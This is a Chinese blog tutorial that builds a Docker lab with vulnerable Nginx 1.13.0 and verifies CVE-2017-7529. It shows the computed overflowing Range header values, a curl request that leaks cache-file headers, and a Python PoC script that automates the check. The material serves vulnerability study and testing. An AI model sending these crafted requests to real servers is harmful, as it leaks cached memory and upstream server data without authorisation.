使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证

漏洞具体信息可以看http://www.freebuf.com/articles/terminal/140402.html


创建容器:

使用之前制好的镜像ubuntu_aliyun:1.0创建新容器:

docker run -it -d --name nginx_int_overflow -p 8086:80 ubuntu_aliyun:1.0

docker exec -it id /bin/bash

apt-get update

然后安装必要的包,如:

apt-get install wget gcc make curl vim python


安装Nginx:

有两种安装的方法一种是直接通过apt-get install nginx,这样当前测试安装的版本是1.10.3,但不推荐这种安装,默认安装的都是官网有打补丁的(不过没有测试);

另一种方法就是源代码安装,这里下载1.13.0版本:

wget http://nginx.org/download/nginx-1.13.0.tar.gz

tar -zxvf nginx-1.13.0.tar.gz

cd /nginx

./configure --prefix=/opt/nginx

make

make install

期间在运行configure时会提示需要安装相应的库:


apt-get install libpcre3 libpcre3-dev zlib1g-dev

然后再make和make install就好,接着进入Nginx的目录,查看版本并开启:


配置反向代理:

到/home目录中新建test.html测试文件,然后输入命令:

nohup python -m SimpleHTTPServer 8080 &

该命令会建立简单的HTTP服务器并在后台运行。

通过curl确认可以访问:



然后修改Nginx配置文件:

vim /opt/nginx/conf/nginx.conf

在http的server中的lication中添加:

proxy_pass http://127.0.0.1:8080;

使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第1张图片

保存退出,重启Nginx(先kill掉相关进程再./nginx开启)。

然后在物理机访问看看:

使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第2张图片

访问如图则反向代理配置成功。


修改nginx.conf文件测试漏洞:

按照开头FreeBuf那篇文章的内容进行修改,这里的图片URL是当时看博客的时候随意找的一个,红框里的内容是添加、修改的内容:

使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第3张图片


两次调用curl命令,可以看到header中有X-Proxy-Cache字段且其值从第一次的MISS到第二次为HIT,即通过两次访问有了命中缓存,另外也可以看到该图片文件的大小为152814bits:

使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第4张图片


然后查找Nginx缓存文件的路径:

find /tmp/nginx

使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第5张图片

找到路径最长的那个,通过head命令查看开头前几行看看:

使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第6张图片

可以看到其存在“KEY”关键字,即是实现两层的缓存,可以看到真正的图片所在的服务器和Nginx服务器之间的header信息。


下面来计算相关的range值:

图片的大小记为img_len,则img_len=152814

总的大小值记为len,则len=0×8000000000000000

为了让第一个范围值range1向前读取其他数据,range1和img_len的差值最好保持在600左右(个人测试其他数值,太大或太小都会影响结果),即range1-img_len=600,得出range1=153414

第二个范围值range2=len-range1,即可得出range2=9223372036854622394

最后将两个range值放到curl的-r参数中即可,由于输出较多就输出到一个文件中再查看即可:

curl -i http://127.0.0.1/upload/2015_04/15040421234894.jpg -r -153414,-9223372036854622394 > 1.txt

vim 1.txt

使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第7张图片

可以看到,有KEY关键字,即查看到了Nginx和原来的服务器的一些信息,其中header中有Content-Range字段,其值正是设置的range值的范围,即验证了Nginx整数溢出漏洞的存在。


编写PoC验证:

下面的这段脚本比较简略,直接使用Linux的curl命令来实现验证,因而在Linux中运行。

#!/usr/bin/python
#coding=utf-8
import os
import commands
import sys

def poc(url):

	print '[*]Testing for: ' + url

	cmd1 = 'curl -I ' + url
	os.popen(cmd1)
	os.popen(cmd1)
	re1 = commands.getoutput(cmd1).split('\n')

	hit = False
	has_x_proxy_cache = False
	img_len = 0

	for i in range(0,len(re1)):
		# print re1[i]
		if 'X-Proxy-Cache' in re1[i]:
			has_x_proxy_cache = True
			if 'HIT' in re1[i]:
				hit = True

		if 'Content-Length' in re1[i]:
			img_len = int(re1[i].split(' ')[1])

	if has_x_proxy_cache:
		if hit:
			print '[*]X-Proxy-Cache is HIT.'
			print '[*]The image length: ' + str(img_len)

			len1 = img_len + 600
			len2 = 0x8000000000000000 - len1

			cmd2 = 'curl -i ' + url + ' -r -' + str(len1) + ',-' + str(len2)
			re2 = commands.getoutput(cmd2).split('\n')

			vul = False
			for i in range(0,len(re2)):

				if 'KEY' in re2[i]:
					print '[+]Nginx Int Overflow(CVE-2017-7529) exists!'
					print '[+]' + re2[i]
					vul = True

			if not vul:
				print '[-]Can not find the vuln.'
		else:
			print '[-]The X-Proxy-Cache is MISS.'
			print '[-]Can not find the vuln.'
	else:
		print '[-]The header without X-Proxy-Cache.'
		print '[-]Can not find the vuln.'

def main():

	if len(sys.argv) == 2:
		url = sys.argv[1]
		poc(url)
	else:
		print '[*]Usage: python nginx_int_overflow.py [URL]'

if __name__ == '__main__':
	main()

在另外一台docker容器kali-linux-docker中运行脚本(注意验证的前提是当前主机还没访问过该URL或者访问已经过去很久了,就是验证的时候不能存在缓存即可):

使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第8张图片

可以看到,成功验证了该漏洞的存在。


制成Docker镜像并打包:

exit

docker stop id

docker commit id nginx_int_overflow:1.0

docker save -o nginx_int_overflow.tar nginx_int_overflow:1.0


至此完成了Nginx整数溢出漏洞环境的搭建和PoC的验证,其中该脚本有很多地方可以去优化的以及编写Windows下的PoC,有时间再改改吧~

你可能感兴趣的:(Web安全,环境搭建,脚本,Docker)